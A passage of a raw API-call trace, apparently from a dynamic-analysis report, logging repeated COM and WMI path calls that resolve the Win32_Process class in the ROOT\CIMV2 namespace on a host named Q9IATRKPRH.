[5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.490] WbemDefPath:IUnknown:Release (This=0x11e8130) returned 0x3 [0072.490] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0072.490] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0072.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0072.490] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0072.490] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0072.490] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0072.490] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0072.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea00b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea00b0) returned 0x0 [0072.490] WbemDefPath:IUnknown:AddRef (This=0x1bea00b0) returned 0x3 [0072.490] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x2 [0072.490] WbemDefPath:IWbemPath:SetText (This=0x1bea00b0, uMode=0x4, pszPath="") returned 0x0 [0072.490] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0072.491] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0072.491] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0072.491] IUnknown:Release (This=0x111f638) returned 0x1 [0072.492] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1beaa390) returned 0x0 [0072.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa390, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0072.492] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa390, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116aa00) returned 0x0 [0072.493] WbemDefPath:IUnknown:Release (This=0x1beaa390) returned 0x0 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116aa00) returned 0x0 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0072.493] WbemDefPath:IUnknown:AddRef (This=0x116aa00) returned 0x3 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e82b0) returned 0x0 [0072.493] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e82b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.493] WbemDefPath:IUnknown:Release (This=0x11e82b0) returned 0x3 [0072.493] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0072.493] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0072.493] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x2 [0072.493] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x1 [0072.493] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0072.493] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0072.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x116aa00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116aa00) returned 0x0 [0072.493] WbemDefPath:IUnknown:AddRef (This=0x116aa00) returned 0x3 [0072.494] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x2 [0072.494] WbemDefPath:IWbemPath:SetText (This=0x116aa00, uMode=0x4, pszPath="") returned 0x0 [0072.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0072.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea00b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0072.494] WbemDefPath:IWbemPath:GetClassName (in: This=0x116aa00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0072.494] WbemDefPath:IWbemPath:GetServer (in: This=0x116aa00, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0072.494] WbemDefPath:IWbemPath:SetServer (This=0x116aa00, Name="Q9IATRKPRH") returned 0x0 [0072.494] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0072.494] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0072.494] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0072.494] IUnknown:Release (This=0x111f638) returned 0x1 [0072.496] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e8210) returned 0x0 [0072.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e8210, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0072.496] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e8210, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a940) returned 0x0 [0072.496] WbemDefPath:IUnknown:Release (This=0x11e8210) returned 0x0 [0072.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a940) returned 0x0 [0072.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0072.497] WbemDefPath:IUnknown:AddRef (This=0x116a940) returned 0x3 [0072.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0072.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0072.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e8250) returned 0x0 [0072.497] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e8250, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.497] WbemDefPath:IUnknown:Release (This=0x11e8250) returned 0x3 [0072.497] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0072.497] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0072.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0072.497] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x2 [0072.497] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x1 [0072.497] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0072.497] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0072.497] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a940, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a940) returned 0x0 [0072.497] WbemDefPath:IUnknown:AddRef (This=0x116a940) returned 0x3 [0072.497] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x2 [0072.497] WbemDefPath:IWbemPath:SetText (This=0x116a940, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0072.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0072.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a940, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116a940, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116a940, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0072.498] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x116aa00) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a940, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0072.498] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116aa00, uIndex=0x0, pszName="ROOT") returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0072.498] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116aa00, uIndex=0x1, pszName="CIMV2") returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetClassName (in: This=0x116aa00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0072.498] WbemDefPath:IWbemPath:SetClassName (This=0x116aa00, Name="Win32_Process") returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetInfo (in: This=0x116aa00, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetInfo (in: This=0x116aa00, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0072.498] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0072.499] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0072.499] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0072.499] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0072.499] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0072.499] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0072.499] IUnknown:Release (This=0x111f638) returned 0x1 [0072.500] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11e7f10) returned 0x0 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7f10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0072.501] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7f10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x116a7c0) returned 0x0 [0072.501] WbemDefPath:IUnknown:Release (This=0x11e7f10) returned 0x0 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x116a7c0) returned 0x0 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0072.501] WbemDefPath:IUnknown:AddRef (This=0x116a7c0) returned 0x3 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11e7eb0) returned 0x0 [0072.501] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7eb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.501] WbemDefPath:IUnknown:Release (This=0x11e7eb0) returned 0x3 [0072.501] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0072.501] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0072.501] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0072.502] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x2 [0072.502] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x1 [0072.502] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0072.502] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0072.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a7c0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x116a7c0) returned 0x0 [0072.502] WbemDefPath:IUnknown:AddRef (This=0x116a7c0) returned 0x3 [0072.502] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x2 [0072.502] WbemDefPath:IWbemPath:SetText (This=0x116a7c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0072.502] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0072.502] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0072.502] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.502] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, 